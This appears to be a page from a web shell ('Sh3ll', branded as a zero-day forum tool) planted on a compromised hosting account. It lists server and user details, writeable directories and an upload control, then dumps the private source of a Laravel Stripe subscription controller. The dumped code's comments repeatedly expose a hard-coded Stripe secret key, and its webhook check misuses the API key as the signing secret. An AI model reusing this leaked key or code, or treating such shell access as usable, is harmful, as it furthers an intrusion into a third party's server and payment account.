Sh3ll
OdayForums


Server : Apache
System : Linux 145.162.205.92.host.secureserver.net 5.14.0-611.45.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Apr 1 05:56:53 EDT 2026 x86_64
User : tradze ( 1001)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/tradze/public_html/app/Modules/Plans_new/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/tradze/public_html/app/Modules/Plans_new/Http/Controllers/Admin/PlanController.php
<?php
namespace App\Modules\Plans_new\Http\Controllers\Admin;
// exit;

// Stripe PHP library - install via: composer require stripe/stripe-php
if (file_exists(__DIR__ . '/../../../../../../vendor/stripe/stripe-php/init.php')) {
    require_once __DIR__ . '/../../../../../../vendor/stripe/stripe-php/init.php';
    if (class_exists('\Stripe\Stripe')) {
        \Stripe\Stripe::setApiKey(env('stripe_secret_key'));
    }
}


// \Stripe\Stripe::setApiKey('sk_test_51H0QEqF8l8BBJQiwL6KbRUSL4v458ajWWRquSRz3MnVbtwJI8a1jKS34linZpx3UiRVUOTsXA4VYnKugRkIxXKzv005d4LXi9T');

use App\Http\Controllers\AdminController;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Stripe;
use App\User;
use App\StripeSubscription;
use App\Modules\Plans\Models\Plan;
use App\Modules\Services\Models\ServiceType;
use App\Modules\Plans\Models\SubscriptionQuery;
use Yajra\Datatables\Datatables;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Session;
use Illuminate\Support\Facades\Log;

class PlanController extends AdminController
{

    /**
     * Display a listing of the resource.
     *
     * @return Response
     */
    public function index()
    {
        $this->data['page_title'] = 'Plans';
        //render page
        return view('plans::admin.index', $this->data);
    }

    public function getData() {
        $obj = Plan::all();

        $this->data['can'] = [
                'edit'   => $this->data['user']->can('admin.services.typeofsalontreatment.edit') || $this->data['user']->is('developer'),
                'delete' => $this->data['user']->can('admin.services.typeofsalontreatment.delete') || $this->data['user']->is('developer'),
            ];

        return Datatables::of($obj)
            ->addColumn('actions', function ($o) {
                $this->data['o']=$o;
                return view('plans::admin.plantype_list_actions',$this->data)->render();
            })
            ->removeColumn('id')
            ->removeColumn('updated_at')
            ->make(true);
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  int $id
     * @return Response
     */
    public function store(Request $request)
    {
       

    }

    public function createPlan()
    {
        $this->data['page_title'] = 'Plans';
        $this->data['plan_types'] = [];
        //render page
        return view('plans::admin.create', $this->data);
        // $stripe = new Stripe('sk_test_51H0QEqF8l8BBJQiwL6KbRUSL4v458ajWWRquSRz3MnVbtwJI8a1jKS34linZpx3UiRVUOTsXA4VYnKugRkIxXKzv005d4LXi9T');
        // $plan = $stripe->createPlan([
        //     'id' => '1',
        //     'amount' => 100000, // in cents
        //     'currency' => 'usd',
        //     'interval' => 'month',
        //     'interval_count' => 1,
        //     // 'product' => 'prod_OAhl5k3DSP2Aey',
        //     'product' => [
        //         'name' => 'Your Product Name',
        //         'type' => 'service',
        //         'description' => 'Test Product Description 2',
        //     ]
        // ]);
        // return $plan;
    }

    public function createProduct(Request $request) {
        $data = [
            "name" => $request->name,
            "description" => $request->description,
        ];

        $stripe = new Stripe(env('stripe_secret_key'));
        $product = $stripe->createProduct($data);
        // dd($product);
        if($product) {
            $data = [
                'plan_id' => $product->id,
                'name' => $request->name,
                'description' => $request->description,
            ];
            Plan::create($data);
        }

        // redirect
        if ($request->save) {
            return redirect(route('admin.plan.index'));
        } elseif ($request->save_exit) {
            return redirect(route('admin.plan.index'));
        }
    }

    // return true;

    // public function createProduct(Request $request)
    // {
    //     // dd($request->all());
    //     $stripe = new Stripe('sk_test_51H0QEqF8l8BBJQiwL6KbRUSL4v458ajWWRquSRz3MnVbtwJI8a1jKS34linZpx3UiRVUOTsXA4VYnKugRkIxXKzv005d4LXi9T');
    //     // $plan = $stripe->createPrice([
    //     //     'product' => [
    //     //         'name' => $request->name,
    //     //         'type' => 'service',
    //     //     ],
    //     //     'unit_amount' => $request->amount * 100, // price in cents
    //     //     'currency' => 'usd',
    //     //     'recurring' => [
    //     //         'interval' => 'month',
    //     //         'interval_count' => 1,
    //     //     ],
    //     // ]);
    //     $plan = $stripe->createPlan([
    //         'amount' => $request->amount * 100, // in cents
    //         'currency' => 'usd',
    //         'interval' => 'month',
    //         'interval_count' => 1,
    //         // 'product' => 'prod_OAhl5k3DSP2Aey',
    //         'product' => [
    //             'name' => $request->name,
    //             'type' => 'service',
    //         ]
    //     ]);
    //     // dd($plan);
    //     if($plan) {
    //         $data = [
    //             'plan_id' => $plan->product,
    //             'name' => $request->name,
    //             'amount' => $request->amount,
    //             'description' => $request->description,
    //             'interval' => 1,
    //         ];
    //         Plan::create($data);
    //     }

    //      //redirect
    //     if ($request->save) {
    //         return redirect(route('admin.plan.editplan', ['id' => $obj->id]));
    //     } elseif ($request->save_exit) {
    //         return redirect(route('admin.plan.index'));
    //     }

    //     return $plan;
    //     // $product = $stripe->createProduct([
    //     //     'name' => 'Test Product 2',
    //     //     'description' => 'Test Product Description 2',
    //     // ]);
    // }

    public function editPlan($id) {
        $this->data['page_title'] = 'Plans';
        $stripe = new Stripe(env('stripe_secret_key'));
        $this->data['obj'] = Plan::find($id);
        return view('plans::admin.create', $this->data);
    }

    public function updateProduct(Request $request, $id) {
        $obj = Plan::find($id);
        $stripe = new Stripe(env('stripe_secret_key'));
        $product = $stripe->retrieveProduct($obj->plan_id);
        $plans = $this->retrievePlanByProductId($obj->plan_id);
        // if(count($plans) > 0) {
        //     foreach($plans as $plan) {
        //         $plan = $stripe->retrievePlan($plan->id);
        //         // Update plan details
        //         $plan->amount = $request->amount * 100;
        //         $plan->save();
        //     }
        // }
        // dd($plans);
        $product->name = $request->name;
        $product->description = $request->description;
        if($product->save()){
            $obj->name = $request->name;
            $obj->description = $request->description;
            $obj->amount = $request->amount;
            $obj->interval = $request->interval;
            $obj->save();
        }

         //redirect
        if ($request->save) {
            return redirect(route('admin.plan.editplan', ['id' => $obj->id]));
        } elseif ($request->save_exit) {
            return redirect(route('admin.plan.index'));
        }
        // dd($id, $request->all());
    }

    public function deletePlan($id) {
        $obj = Plan::find($id);
        $obj->delete();
        // $stripe = new Stripe('sk_test_51H0QEqF8l8BBJQiwL6KbRUSL4v458ajWWRquSRz3MnVbtwJI8a1jKS34linZpx3UiRVUOTsXA4VYnKugRkIxXKzv005d4LXi9T');

        // $product = $stripe->deleteProduct($obj->plan_id);
        return redirect(route('admin.plan.index'));
    }

    public function retrievePlan() {
        $stripe = new Stripe(env('stripe_secret_key'));
        $planId = 'plan_OB2G2tcyY6t8UL';
        $plan = $stripe->retrievePlan($planId);
        return $plan;
    }

    public function retrieveProduct() {
        $stripe = new Stripe(env('stripe_secret_key'));
        $productId = 'prod_OB2GxbkckIqjbE';
        $product = $stripe->retrieveProduct($productId);
        return $product;
    }

    public function retrievePlanByProductId($productId) {
        $stripe = new Stripe(env('stripe_secret_key'));
        // $productId = 'prod_OB2GxbkckIqjbE';
        $plans = $stripe->retrievePlanByProductId($productId);
        return $plans;
    }

    public function SubscriptionQueryIndex() {
        $this->data['page_title'] = 'Subscription Query';
        //render page
        return view('plans::admin.subscriptionqueryindex', $this->data);
    }

    public function MobileSubscriptionQueryIndex() {
        $this->data['page_title'] = 'Subscription Query';
        //render page
        return view('plans::admin.subscriptionmobilequeryindex', $this->data);
    }


    public function getContactInformation() {
        // dd($request->all());
        $obj = SubscriptionQuery::where('salon_query', 1)->orderBy('read')->get();

        $this->data['can'] = [
                'edit'   => $this->data['user']->can('admin.services.typeofsalontreatment.edit') || $this->data['user']->is('developer'),
                'delete' => $this->data['user']->can('admin.services.typeofsalontreatment.delete') || $this->data['user']->is('developer'),
            ];

        return Datatables::of($obj)
            ->addColumn('read', function ($o) {
                $this->data['o']=$o;
                return view('plans::admin.status_for_subscription_query',$this->data)->render();
            })
            ->addColumn('actions', function ($o) {
                $this->data['o']=$o;
                return view('plans::admin.contact_list_actions',$this->data)->render();
            })
            ->removeColumn('id')
            ->removeColumn('updated_at')
            ->make(true);
    }

    public function getMobileContactInformation() {
        // dd($request->all());
        $obj = SubscriptionQuery::where('mobile_query', 1)->orderBy('read')->get();

        $this->data['can'] = [
                'edit'   => $this->data['user']->can('admin.services.typeofsalontreatment.edit') || $this->data['user']->is('developer'),
                'delete' => $this->data['user']->can('admin.services.typeofsalontreatment.delete') || $this->data['user']->is('developer'),
            ];

        return Datatables::of($obj)
            ->addColumn('read', function ($o) {
                $this->data['o']=$o;
                return view('plans::admin.status_for_subscription_query',$this->data)->render();
            })
            ->addColumn('actions', function ($o) {
                $this->data['o']=$o;
                return view('plans::admin.contact_list_actions',$this->data)->render();
            })
            ->removeColumn('id')
            ->removeColumn('updated_at')
            ->make(true);
    }

    public function viewSubscriptionQuery($id) {
        dd($id);
    }

    public function deleteSubscriptionQuery($id) {
        $obj = SubscriptionQuery::find($id);
        $obj->delete();
        return redirect()->back();
        // dd($id);
    }

    public function readSubscriptionQuery($id) {
        $obj = SubscriptionQuery::find($id);
        $obj->read = 1;
        $obj->save();

        return redirect()->back();
        // dd($id);
    }

    public function unreadSubscriptionQuery($id) {
        $obj = SubscriptionQuery::find($id);
        $obj->read = 0;
        $obj->save();

        return redirect()->back();
        // dd($id);
    }

    public function paymentIntentCreateForSubscription($request, $user) {

        // dd($request['price_id']);
        // Remove the square brackets and split the string by ', '
        $splitString = explode(', ', substr($request['price_id'], 1, -1));
        // dd($splitString);
        // Extract the values
        $stringVal = $splitString[0];
        $numberVal = (int) $splitString[1];

        // Create an array
        $resultArray = [$stringVal, $numberVal];

        $paymentMethodId = $request['paymentMethodId'];
        // $amount = \Cart::getTotal() * 100; // Replace with the desired amount in cents
        $amount = $numberVal * 100; // Replace with the desired amount in cents
        $currency = 'usd'; // Replace with the desired currency
        $stripeSecretKey = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/payment_intents';

        $data = [
            'amount' => $amount,
            'currency' => $currency,
            'payment_method' => $paymentMethodId,
            'confirmation_method' => 'manual', // Set to 'manual' for preauthorization
            'capture_method' => 'manual', // Set to 'manual' for preauthorization
        ];

        $data = http_build_query($data);

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Authorization: Bearer ' . $stripeSecretKey,
            'Content-Type: application/x-www-form-urlencoded',
        ]);

        try {
            $response = curl_exec($ch);

            if ($response === false) {
                throw new \Exception(curl_error($ch));
            }

            $responseData = json_decode($response, true);
            // dd($responseData);
            if (isset($responseData['error'])) {
                $redirect_url = url('/membership/failed-subscription');
                    return redirect($redirect_url);
            } else {
                $capturePayment = $this->confirmPaymentIntent($request['payment_method_id']);
                // $this->take_payment_for_subscription($request, $responseData);
                return redirect(route('bookings.basket.paysuccess'));
                return response()->json(['client_secret' => $responseData['client_secret']]);
            }
        } catch (\Exception $e) {
            $redirect_url = url('/membership/failed-subscription');
            return redirect($redirect_url);
        } finally {
            curl_close($ch);
        }
        // dd($resultArray);
    }

    public function confirmPaymentIntent($payment_intent_id)
    {
        $paymentIntentId = $payment_intent_id;
        $stripeSecretKey = env('stripe_secret_key');

        $confirmUrl = "https://api.stripe.com/v1/payment_intents/$paymentIntentId/confirm";

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $confirmUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Authorization: Bearer ' . $stripeSecretKey,
        ]);

        try {
            $response = curl_exec($ch);

            if ($response === false) {
                throw new \Exception(curl_error($ch));
            }

            $responseData = json_decode($response, true);

            if (isset($responseData['error'])) {
                // dd("inside confirmation",$responseData);
                return response()->json(['error' => $responseData['error']['message']], 500);
            } else {
                // Now that the PaymentIntent is confirmed, you can proceed to capture it.
                return $this->capturePayment($paymentIntentId);
            }
        } catch (\Exception $e) {
            return response()->json(['error' => $e->getMessage()], 500);
        } finally {
            curl_close($ch);
        }
    }

    public function capturePayment($payment_intent_id)
    {
        $paymentIntentId = $payment_intent_id;
        $stripeSecretKey = env('stripe_secret_key');

        $captureUrl = "https://api.stripe.com/v1/payment_intents/$paymentIntentId/capture";
        // dd($captureUrl);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $captureUrl);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            'Authorization: Bearer ' . $stripeSecretKey,
        ]);

        try {
            $response = curl_exec($ch);

            if ($response === false) {
                throw new \Exception(curl_error($ch));
            }

            $responseData = json_decode($response, true);
            // dd($responseData);
            if (isset($responseData['error'])) {
                return response()->json(['error' => $responseData['error']['message']], 500);
            } else {
                $payment = PendingPayment::where('payment_id', $paymentIntentId)->first();
                $payment->status = 2;
                $payment->response_data = $response;
                $payment->update();
                return response()->json(['status' => true,'message' => 'Payment captured successfully']);
            }
        } catch (\Exception $e) {
            return response()->json(['error' => $e->getMessage()], 500);
        } finally {
            curl_close($ch);
        }
    }

    public function createCustomer(Request $request) {
        $user = Auth::user();
        $apiKey = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/customers';
        $data = [
            'email' => $user->email,
            'source' => $request->stripeToken,
        ];
        $subscriptionData = [
            'customer' => '',
            'items' => [
                [
                    'price' => $request->price_id,
                ],
            ],
        ];
        // $intent_payement = $this->paymentIntentCreateForSubscription($request->all(), $user);
        if(empty($user->stripe_customer_id)) {
            $createCustomer = $this->sendStripeRequest($url, $apiKey, $data);
            $customerData = json_decode($createCustomer);
            if (isset($customerData->id)) {

                $customerId = $customerData->id;
                $add_customer_id = User::find($user->id);
                $add_customer_id->stripe_customer_id = $customerId;
                $add_customer_id->save();
                // Example usage:
                $paymentMethodId = $request->payment_method_id;
                // $customerId = 'your_customer_id';
                // $stripeSecretKey = 'sk_test_your_stripe_secret_key';

                $response = $this->attachPaymentMethodToCustomer($customerId, $paymentMethodId);

                $subscriptionData['customer'] = $customerId;
                $subscriptionApi = 'https://api.stripe.com/v1/subscriptions';
                $subscriptionResponse = $this->sendStripeRequest($subscriptionApi, $apiKey, $subscriptionData);
                $subscriptionData = json_decode($subscriptionResponse);
                // dd("if",$subscriptionData);
                if (isset($subscriptionData->id)) {
                    // Subscription created successfully
                    $this->saveSubscriptionData($user, $request->price_id, $subscriptionData, $subscriptionResponse);
                    $subscriptionId = $subscriptionData->id;
                    // echo 'Subscription created successfully! Subscription ID: ' . $subscriptionId;
                    // return redirect()->toURL('/membership/success-subscription');
                    $redirect_url = url('/membership/success-subscription');
                    return redirect($redirect_url);
                    // return view('membership.pages.subscription_successful');

                    // die;
                } else {
                    // Error occurred while creating subscription
                    // echo 'Error creating subscription: ' . $subscriptionResponse['error']['message'];
                    $redirect_url = url('/membership/failed-subscription');
                    return redirect($redirect_url);
                    // return redirect()->toURL('/membership/failed-subscription');
                    // return view('membership.pages.subscription_failed');
                    // die;
                }
            }
        } else {
            $subscriptionData['customer'] = $user->stripe_customer_id;
                $subscriptionApi = 'https://api.stripe.com/v1/subscriptions';

                $response = $this->attachPaymentMethodToCustomer($user->stripe_customer_id, $request->payment_method_id);
                 // $responseData = json_decode($response);
                // dd("else 1", $response);
                $subscriptionResponse = $this->sendStripeRequest($subscriptionApi, $apiKey, $subscriptionData);
                $subscriptionData = json_decode($subscriptionResponse);
                // dd("else", $subscriptionData);
                if (isset($subscriptionData->id)) {
                    $this->saveSubscriptionData($user, $request->price_id, $subscriptionData, $subscriptionResponse);
                    // Subscription created successfully
                    // $subscriptionId = $subscriptionData->id;
                    $redirect_url = url('/membership/success-subscription');
                    return redirect($redirect_url);
                    // return view('membership.pages.subscription_successful');
                    // die;
                } else {
                    // Error occurred while creating subscription
                    // echo 'Error creating subscription: ' . $subscriptionResponse['error']['message'];
                    $redirect_url = url('/membership/failed-subscription');
                    return redirect($redirect_url);
                    // return view('membership.pages.subscription_failed');
                    // die;
                }
        }

    }

    public function cancelSubscription() {
        if(Auth::check()) {
            $user = Auth::user();
            $subscriptionData = StripeSubscription::where('user_id', $user->id)->orderBy('created_at', 'DESC')->first();
            if($subscriptionData) {
                $subscriptionId = $subscriptionData->subscription_id;
                // dd($subscriptionId);
                $url = "https://api.stripe.com/v1/subscriptions/{$subscriptionId}";
                $apiKey = env('stripe_secret_key');
                $data = [];
                $cancelSubscription = $this->sendDeleteRequest($url, $apiKey, $data, 'DELETE');
                $subscriptionData = json_decode($cancelSubscription);
                // dd($subscriptionData);
                if($subscriptionData->status == 'canceled') {
                    Session::put('subscription_status', 0);
                    return response()->json([
                        'status' => true,
                        'subscription_status' => $subscriptionData->status 
                    ]);
                }else {
                    return response()->json([
                        'status' => false, 
                    ]);
                }
            } else {
                return response()->json([
                        'status' => false,
                    ]);
            }
        }
    }

    public function saveSubscriptionData($user, $price_id, $subscriptionData, $subscriptionResponse) {

        $data = [
            'user_id' => $user->id,
            'price_id' => $price_id,
            'subscription_id' => $subscriptionData->id,
            'subscription_status' => $subscriptionData->status,
            'subscription_response' => $subscriptionResponse
        ];
        $stripe_subsciption = StripeSubscription::create($data);

        return $stripe_subsciption;
    }

    public function getSubscriptionDetails() {
        if(Auth::check()) {
            $user = Auth::user();
            // dd($user);
            $subscriptionData = StripeSubscription::where('user_id', $user->id)->orderBy('created_at', 'DESC')->first();
            if($subscriptionData) {    
                $subscriptionId = $subscriptionData->subscription_id;
                $url = "https://api.stripe.com/v1/subscriptions/{$subscriptionId}";
                $apiKey = env('stripe_secret_key');
                $subscriptionResponse = $this->sendStripeGetRequest($url, $apiKey);
                $subscriptionStatus = json_decode($subscriptionResponse);
                return $subscriptionStatus;
            } else {
                return [];
            }
        } else {
            return [];   
        }
    }

    public function subscriptionStatus() {
        if(Auth::check()) {
            $user = Auth::user();
            // dd($user);
            $subscriptionData = StripeSubscription::where('user_id', $user->id)->orderBy('created_at', 'DESC')->first();
            if($subscriptionData) {
                $subscriptionId = $subscriptionData->subscription_id;
                $url = "https://api.stripe.com/v1/subscriptions/{$subscriptionId}";
                $apiKey = env('stripe_secret_key');
                // dd($apiKey);
                $subscriptionResponse = $this->sendStripeGetRequest($url, $apiKey);
                $subscriptionStatus = json_decode($subscriptionResponse);
                if($subscriptionStatus->status != $subscriptionData->subscription_status) {
                    $subsStatus = StripeSubscription::find($subscriptionData->id);
                    $subsStatus->subscription_status = $subscriptionStatus->status;
                    $subsStatus->save();
                }
                // dd($subscriptionStatus->status);
                if($subscriptionStatus->status == 'active') {
                    Session::put('subscription_status', 1);
                    return response()->json([
                        'status' => true,
                        'subscription_status' => $subscriptionStatus->status 
                    ]);
                } else {
                    Session::put('subscription_status', 0);
                    return response()->json([
                        'status' => true,
                        'subscription_status' => $subscriptionStatus->status 
                    ]);
                }
            } else {
                Session::put('subscription_status', 0);
                return response()->json([
                        'status' => true, 
                        'subscription_status' => 'not_defiend'
                ]);
            }
        } else {
            Session::put('subscription_status', 0);
            return response()->json([
                        'status' => true, 
                        'subscription_status' => 'not_defiend'
                ]);
        }
    }

    public function updateSubscriptionCard(Request $request) {
        // dd($request->all());
        if (Auth::check()) {
            $user = Auth::user();
            // Step 1: Retrieve the Customer ID
            $customer_id = $user->stripe_customer_id; // Replace with your actual customer ID

            // Step 2: Collect New Card Details (Assuming you have collected card token from frontend)
            $new_card_token = $request->stripeToken;
            // dd($new_card_token);
            // Step 3: Update the Payment Method
            $payment_method_id = $this->createPaymentMethod($new_card_token);

            $this->attachPaymentMethodToCustomer($customer_id, $payment_method_id);

            $subscriptionData = StripeSubscription::where('user_id', $user->id)->orderBy('created_at', 'DESC')->first();
            
            // Optionally, you can also update the customer's default payment method if needed.
            $customerPaymentMethod = $this->updateDefaultPaymentMethod($customer_id, $payment_method_id);

            // Step 4: Update the Subscription
            $subscription_id = $subscriptionData->subscription_id; // Replace with your actual subscription ID
            $updatedSubscription = $this->updateSubscription($subscription_id, $payment_method_id);


            // dd("success", $updatedSubscription, $customerPaymentMethod);
            // Return a success response or redirect back to the form with a success message
            return redirect()->route('membership.update_card_succesfull');
        }
    }

    private function attachPaymentMethodToCustomer($customer_id, $payment_method_id)
    {
        $stripe_secret_key = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/payment_methods/' . $payment_method_id . '/attach';

        $headers = [
            'Authorization: Bearer ' . $stripe_secret_key,
        ];

        $fields = [
            'customer' => $customer_id,
        ];

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));

        $result = curl_exec($ch);

        if (curl_errno($ch)) {
            // Handle cURL error
            echo 'cURL error: ' . curl_error($ch);
        }

        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

        curl_close($ch);

        if ($httpCode !== 200) {
            // Handle API error
            echo 'API error: ' . $result; // Display the error response
            return null; // Handle the error according to your application's logic
        }

        $response = json_decode($result, true);

        return $response;
    }

    private function createPaymentMethod($card_token)
    {
        $stripe_secret_key = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/payment_methods';

        $headers = [
            'Authorization: Bearer ' . $stripe_secret_key,
        ];

        $fields = [
            'type' => 'card',
            'card' => [
                'token' => $card_token,
            ],
        ];

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));

        $result = curl_exec($ch);
        curl_close($ch);

        $response = json_decode($result, true);
        // dd($response);
        return $response['id'];
    }

    private function updateSubscription($subscription_id, $payment_method_id)
    {
        $stripe_secret_key = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/subscriptions/' . $subscription_id;

        $headers = [
            'Authorization: Bearer ' . $stripe_secret_key,
        ];

        $fields = [
            'default_payment_method' => $payment_method_id,
        ];

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));

        $result = curl_exec($ch);
        curl_close($ch);

        return json_decode($result, true);
    }

    private function updateDefaultPaymentMethod($customer_id, $payment_method_id)
    {
        $stripe_secret_key = env('stripe_secret_key');
        $url = 'https://api.stripe.com/v1/customers/' . $customer_id;

        $headers = [
            'Authorization: Bearer ' . $stripe_secret_key,
        ];

        $fields = [
            'invoice_settings[default_payment_method]' => $payment_method_id,
        ];

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($fields));

        $result = curl_exec($ch);
        curl_close($ch);

        return json_decode($result, true);
    }

    function sendStripeRequest($url, $apiKey, $data = [], $method = 'POST')
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "Authorization: Bearer $apiKey",
            'Content-Type: application/x-www-form-urlencoded'
        ]);

        if ($method === 'POST' || $method === 'DELETE') {
            curl_setopt($ch, CURLOPT_POST, true);
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        }

        $response = curl_exec($ch);
        curl_close($ch);

        return $response;
    }

    function sendStripeGetRequest($url, $apiKey, $data = [])
    {
        $ch = curl_init();

        $queryString = http_build_query($data);
        $url = $url . '?' . $queryString; // Append query string to the URL for GET requests

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "Authorization: Bearer $apiKey",
            'Content-Type: application/x-www-form-urlencoded'
        ]);

        $response = curl_exec($ch);
        curl_close($ch);

        return $response;
    }

    // function sendDeleteRequest($url, $apiKey, $data = [])
    // {
    //     $ch = curl_init();

    //     $queryString = http_build_query($data);
    //     $url = empty($queryString) ? $url : $url . '?' . $queryString;

    //     curl_setopt($ch, CURLOPT_URL, $url);
    //     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    //     curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
    //     curl_setopt($ch, CURLOPT_HTTPHEADER, [
    //         "Authorization: Bearer {$apiKey}",
    //         'Content-Type: application/x-www-form-urlencoded'
    //     ]);

    //     $response = curl_exec($ch);
    //     curl_close($ch);

    //     return $response;
    // }
    function sendDeleteRequest($url, $apiKey, $data = [], $method = 'POST')
    {
        $ch = curl_init();

        if ($method === 'GET' && !empty($data)) {
            $queryString = http_build_query($data);
            $url = $url . '?' . $queryString;
        }

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
        curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "Authorization: Bearer {$apiKey}",
        ]);

        if ($method === 'POST' || $method === 'DELETE') {
            curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
        }

        $response = curl_exec($ch);

        // Check for cURL errors
        if (curl_errno($ch)) {
            // Handle the error
            $error = curl_error($ch);
            // ...
        }

        curl_close($ch);

        return $response;
    }

    public function updateSubscriptionStatus(Request $request) {
        Log::info('-------------------------------------------------Webhook received successfully.');
        $payload = $request->getContent();
        $sigHeader = $request->server('HTTP_STRIPE_SIGNATURE');
        $secret = env('stripe_secret_key');
        try {
            $webhook = new Webhook;
            $event = $webhook->constructEvent($payload, $sigHeader, $secret);
            // $event = Webhook::constructEvent($payload, $sigHeader, $secret);
        } catch (\Exception $e) {
            Log::info('-------------------------------------------------Webhook received successfully.',[$e->getMessage()]);
            return response()->json(['error' => $e->getMessage()], 400);
        }
        Log::info('-------------------------------------------------Webhook received successfully.',[$event]);
    }

}

ZeroDay Forums Mini